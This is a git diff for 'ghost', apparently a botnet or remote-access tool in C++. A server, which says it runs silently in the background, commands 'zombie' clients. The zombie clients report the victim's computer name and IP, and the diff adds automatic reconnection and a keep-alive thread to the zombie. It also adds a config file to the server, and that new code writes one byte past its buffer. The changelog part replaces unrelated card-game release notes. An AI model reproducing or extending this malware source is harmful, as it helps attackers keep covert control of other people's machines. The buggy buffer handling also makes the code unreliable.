diff --git a/CHANGELOG.md b/CHANGELOG.md index e9c23f0..69e963e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,54 +1,6 @@ -1.4 - Level 1 Love (12/6/2017) +1.0.1 (12/12/2017) -- Cosmos Ocean - Dharma cleaned up -- Cosmos HERO deck added. - -New Cards Added (3): -- Cosmos Ocean - Intention & Rapproachement added -- Cosmos Ocean - Pure Latent added -- Cosmos Ocean - Moonlight Entrust - -1.3 - Fusion Update (11/24/2017) - -Fusion Monster set added. See *Fusion Monsters* in README.md for more information. - -- Cosmos Ocean - Abundance effect fixed. -- Cosmos Ocean - Understanding effect modified (BETA) - -New Cards Added (13): -- Cosmos Ocean - Reconciliation -- Cosmos Ocean - Ketheric -- Cosmos Ocean - Tirthankara -- Cosmos Ocean - Samsara -- Cosmos Ocean - Lotus Dragon -- Cosmos Ocean - Optimism -- Cosmos Ocean - Evolution -- Cosmos Ocean - Amplitude -- Cosmos Ocean - Circulate -- Cosmos Ocean - Concord -- Cosmos Ocean - Natural -- Cosmos Ocean - Spirit (Synchro) -- Cosmos Ocean Dragon (Non-Fusion Effect Pendulum) - -1.2 - Togetherness Update (11/3/2017) - -- Cosmos Ocean - Giving effect fixed. -- Cosmos Ocean - Understanding (Field Spell) added. -- Cosmos Ocean - Transparency (Continuous Spell) added. -- Cosmos Ocean - City Horizon (Continuous Spell) added. -- Cosmos Ocean - Euphoria added. -- Cosmos Ocean - Bliss' effect adjusted to match new sister card. -- Cosmos Ocean - Detachment's pendulum effect has been fixed. - -1.1 (10/25/2017) - -- Cosmos Ocean - Giving was given more relatable and fitting effects. -- Cosmos Ocean - Destiny's ATK increased to 3200. -- Cosmos Ocean - Om can now be destroyed by battle. -- Cosmos Ocean - Paradise (Field Spell) added. -- Cosmos Ocean - Eternity added. -- Minor tweaks and bug fixes. - -1.0 (10/8/2017) - -Initial Release \ No newline at end of file +- Fixed incorrect CHANGELOG.md +- Fixed zombie not automatically reconnecting to server +- Server now has the ability to save/load configuration (**ghost.conf**) +- Fixed zombie not closing TCP connection. \ No newline at end of file diff --git a/_src/server/server.cpp b/_src/server/server.cpp index c8ab9da..b2a67e5 100644 --- a/_src/server/server.cpp +++ b/_src/server/server.cpp @@ -20,8 +20,6 @@ along with ghost. If not, see . */ //======================================================= -#include "stdafx.h" - #define DEFAULT_BUFF 9056 #define AHXRLOGGER_PLUGIN // https://github.com/AHXR/ahxrlogger @@ -41,6 +39,8 @@ #define SHOW_GHOST() { system("CLS"); LOG("%s\n\n", c_ascii); } #define GO_BACK() { LOG("[COLOR:GREEN]0) [Back to Main Menu]"); } +#define GHOST_CONFIG "ghost.conf" + #include "ahxrwinsock.h" #include "ghostlib.h" #include "resource.h" @@ -95,10 +95,18 @@ void refreshClients() { continue; } + /*char buf; + int err = recv(client_data.socketRef, &buf, 1, MSG_PEEK | MSG_DONTWAIT); + if (err == SOCKET_ERROR) + if (WSAGetLastError() != WSAEWOULDBLOCK) + ghostlib::deleteZombie(i); + */ + i_res = send(client_data.socketRef, "ghost_ping", 10, 0 ); // Testing if socket is active. Will never respond. if (i_res == SOCKET_ERROR) ghostlib::deleteZombie(i); + } } @@ -139,11 +147,33 @@ DWORD WINAPI t_gui(LPVOID params) { // Showing the menu and starting the ghost server. SHOW_GHOST(); - LOG("[COLOR:RED]This process will silently run in the background as \"ghost.exe\". Make sure this port is equal to the port you have sent to the client. Otherwise, data will be sent via email."); - printf("\nPlease enter your listening port: "); - cin >> s_option; - c_port = s_option; + fstream f_config_file(GHOST_CONFIG, ios::in); + + if (!f_config_file.is_open()) { + LOG("[COLOR:RED]This process will silently run in the background as \"ghost.exe\". Make sure this port is equal to the port you have sent to the client. Otherwise, data will be sent via email."); + printf("\nPlease enter your listening port: "); + + cin >> s_option; + c_port = s_option; + } + else { + f_config_file.seekg(0, f_config_file.end); + int i_length = (int)f_config_file.tellg(); + f_config_file.seekg(0, f_config_file.beg); + + char * c_buffer = new char[i_length]; + + f_config_file.read(c_buffer, i_length); + + c_buffer[i_length] = '\0'; + if (c_buffer[i_length - 1] == '\n') + c_buffer[i_length - 1] = '\0'; + + s_option = c_buffer; + c_port = s_option; + f_config_file.close(); + } if (!a_server.start_server(s_option.c_str(), TCP_SERVER, onServerClientConnect, onServerRecData)) { ERROR("Could not run server... Try again."); @@ -172,7 +202,7 @@ DWORD WINAPI t_gui(LPVOID params) { GO_BACK(); for (int i = 0; i < ghostlib::getZombieCount(); i++) { - client_data = ghostlib::getZombieData(i); + client_data = ghostlib::getZombieData(i); // Returning a reference to the struct j_data = json::parse(client_data.system_data); s_output = j_data["ID"].get() + std::string(" - ") + j_data["IP"].get() + std::string(":" + j_data["PORT"].get()); @@ -337,6 +367,21 @@ DWORD WINAPI t_gui(LPVOID params) { case 2: { // Configuration SHOW_GHOST(); SHOW_CONFIG(); + + char s_save = ' '; + cin.ignore(); + while (s_save != 'y' && s_save != 'n') { + LOG("Would you like to save this config to a file so you can instantly run this server in the future? (y/n)"); + cin >> s_save; + } + + if (s_save == 'y') { + fstream f_save(GHOST_CONFIG, ios::out); + f_save << c_port; + f_save.close(); + + LOG("[COLOR:BROWN]Configuration file saved as %s", GHOST_CONFIG); + } break; } case 3: { // Refresh @@ -364,7 +409,7 @@ void onServerClientConnect(SOCKET clientSocket, CLIENTDATA info) { } void onServerRecData(SOCKET clientSocket, CLIENTDATA info, char * data) { - string s_data = data; + string s_data = data; if (b_waiting) { LOG("[RESPONSE]\n%s", data); diff --git a/_src/zombie/zombie.cpp b/_src/zombie/zombie.cpp index 9ccf252..75888e1 100644 --- a/_src/zombie/zombie.cpp +++ b/_src/zombie/zombie.cpp @@ -54,6 +54,7 @@ AHXRCLIENT client; void onClientConnect(); void onClientRecData( char * data); +DWORD WINAPI t_ping(LPVOID lpParams); string real_ip(); #pragma comment (lib, "shell32.lib") @@ -105,11 +106,31 @@ void main(cli::array^ args) if( client.init(str_host, str_port, TCP_SERVER, onClientConnect) ) client.listen(onClientRecData, false); + if (client.Socket_Client != INVALID_SOCKET) + closesocket(client.Socket_Client); + b_cmd = false; // Safe reset Sleep(1000); } } +DWORD WINAPI t_ping(LPVOID lpParams) { + while (1) { + Sleep(3000); + char buf; + int err = recv(client.Socket_Client, &buf, 1, MSG_PEEK); + if (err == SOCKET_ERROR) + { + if (WSAGetLastError() != WSAEWOULDBLOCK) + { + client.close(); + break; + } + } + } + return 0; +} + void onClientConnect() { json sys_data; TCHAR c_comp_name[ MAX_COMPUTERNAME_LENGTH + 1 ]; @@ -124,6 +145,8 @@ void onClientConnect() { sys_data["PORT"] = str_port; client.send_data(sys_data.dump().c_str()); + + CreateThread(0, 0, t_ping, 0, 0, 0); } void onClientRecData( char * data ) {